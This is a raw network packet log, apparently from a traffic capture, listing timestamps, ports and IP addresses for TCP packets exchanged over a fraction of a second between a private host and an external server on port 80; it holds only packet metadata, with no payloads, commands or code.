Dec 19, 2024 08:09:12.112776041 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.113712072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.113866091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.113922119 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.115040064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.115066051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.115113974 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.116149902 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.116167068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.116209030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.117352962 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.117446899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.117491007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.118688107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.118705034 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.118750095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.119755983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.119904041 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.119955063 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.120965004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.121005058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.122097015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.122164965 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.122224092 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.123470068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.123528004 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.123703957 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.124490023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.124540091 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.124589920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.124669075 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.125685930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.125895023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.125948906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.127069950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.127201080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.127249956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.128211021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.128226995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.128273964 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.129501104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.129518032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.130764008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.130779982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.130831957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.130848885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.131882906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.131901026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.132023096 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.132023096 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.132927895 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.132944107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.133739948 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.134196997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.134212971 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.134255886 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.134284019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.135360003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.135407925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.135412931 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.136549950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.136604071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.136668921 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.137713909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.138761997 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.267276049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.267345905 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.267354012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.267888069 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.267935991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.267937899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.268670082 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.269120932 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.269136906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.269165039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.269186974 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.270275116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.270292044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.270334005 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.270349026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.271503925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.271554947 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.271605968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.272674084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.272700071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.272777081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.272819996 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.273925066 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.274008036 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.274046898 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.274166107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.275110006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.275125980 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.275173903 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.276258945 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.276380062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.276427984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.277455091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.277503014 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.277765989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.278764009 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.278779984 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.278815985 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.278836966 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.280047894 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.280064106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.280091047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.280112982 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.281136036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.281200886 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.281337976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.282274008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.282325029 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.282411098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.283515930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.283530951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.283559084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.283585072 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.284674883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.284727097 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.284984112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.285896063 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.285911083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.285962105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.285962105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.287092924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.287117958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.288239956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.288295984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.288377047 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.288667917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.289607048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.289633989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.289690018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.290777922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.290795088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.292045116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.292066097 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.292079926 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.292109966 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.293927908 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.293945074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.294437885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.294454098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.294496059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.294521093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.295746088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.295762062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.295798063 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.295826912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.296668053 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.296798944 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.297859907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.297930002 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.298794031 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.299370050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.299386024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.299422026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.299455881 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.300322056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.300340891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.300369024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.300400972 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.301446915 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.301587105 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.301631927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.302670956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.302716970 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.302809954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.302850962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.304020882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.304037094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.304102898 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.304102898 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.305066109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.305146933 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.305197954 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.306265116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.306305885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.306322098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.306361914 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.307483912 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.307532072 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.307562113 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.307601929 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.308605909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.308651924 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.308738947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.308779001 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.309796095 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.309842110 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.309921026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.309961081 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.311041117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.311086893 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.311204910 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.311244965 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.312283993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.312308073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.312328100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.312354088 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.313433886 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.313539982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.313585997 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.314645052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.314704895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.314716101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.314759016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.315867901 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.315983057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.315994024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.316035986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.317141056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.317195892 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.317244053 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.317282915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.318272114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.318299055 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.318336010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.318371058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.319451094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.319503069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.319602966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.319652081 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.320682049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.320698977 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.321042061 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.321829081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.321886063 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.321899891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.321943998 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.323013067 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.323124886 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.323179007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.324312925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.324331045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.324366093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.324395895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.325417995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.325465918 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.325469971 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.325517893 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.326734066 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.326750994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.326777935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.326801062 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.328026056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.328042030 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.328077078 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.328109980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.329073906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.329101086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.329122066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.329140902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.330142021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.330184937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.459549904 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.459665060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.459749937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.460208893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.460257053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.460386992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.460455894 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.461344957 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.461432934 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.461477995 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.462507963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.462552071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.462615013 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.462656975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.463767052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.463849068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.463888884 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.464955091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.465013981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.465059042 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.466113091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.466156960 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.466237068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.466273069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.467385054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.467430115 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.467439890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.467482090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.468451023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.468627930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.468693972 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.469666958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.469727039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.469870090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.469918013 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.470839977 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.470896959 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.470962048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.471005917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.472115040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.472162008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.472201109 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.472665071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.473253965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.473268986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.473304987 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.473334074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.474487066 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.474503040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.474555016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.475682020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.475743055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.475770950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.475816011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.476897955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.476983070 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.477035999 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.478250027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.478265047 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.478305101 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.478339911 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.479307890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.479366064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.479428053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.480614901 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.480633020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.480676889 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.480707884 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.481595039 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.481642962 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.481688976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.482805014 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.482909918 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.482939959 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.482964039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.483980894 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.484040976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.484093904 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.484143019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.485140085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.485215902 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.485275030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.486463070 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.486526966 CET	49802	80	192.168.2.6	31.41.244.11
